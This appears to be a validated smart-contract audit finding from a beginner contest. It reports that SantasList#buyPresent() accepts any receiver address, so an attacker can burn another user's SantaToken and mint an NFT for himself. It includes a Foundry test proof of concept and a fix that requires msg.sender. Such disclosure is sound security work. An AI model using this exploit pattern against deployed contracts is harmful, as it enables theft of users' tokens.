Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can call `SantasList#buyPresent()` with arbitrary input address

Summary

Attacker can buy NFT token with other user's SantaToken

Vulnerability Details

There is no validation for the presentReceiver argument in SantasList#buyPresent().

Attacker can use address of any user who own SantaToken to mint NFT for himself.

Below is the PoC for the attack.

I added devMint() function in SantaToken contract for easily minting SantaToken for this PoC.

// SantaToken.sol
function devMint(address _to) external {
_mint(_to, 1e18);
}
// SantasListTest.t.sol
function testBurnSantaTokenForArbitraryUser() public {
vm.startPrank(attacker);
assertEq(santaToken.balanceOf(user), 0);
// Mint 1 token to user
santaToken.devMint(user);
assertEq(santaToken.balanceOf(user), 1e18);
// Attacker can burn user's token
santasList.buyPresent(user);
assertEq(santaToken.balanceOf(user), 0);
// Attacker now have 1 NFT token
assertEq(santasList.balanceOf(attacker), 1);
vm.stopPrank();
}

Impact

Attacker can mint any number of NFT as he want without having any SantaToken token.

Tools Used

Manual review.

Recommendations

Add validation for presentReceiver input for SantasList#buyPresent() function.

function buyPresent(address presentReceiver) external {
require(msg.sender == presentReceiver, 'Invalid receiver');
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.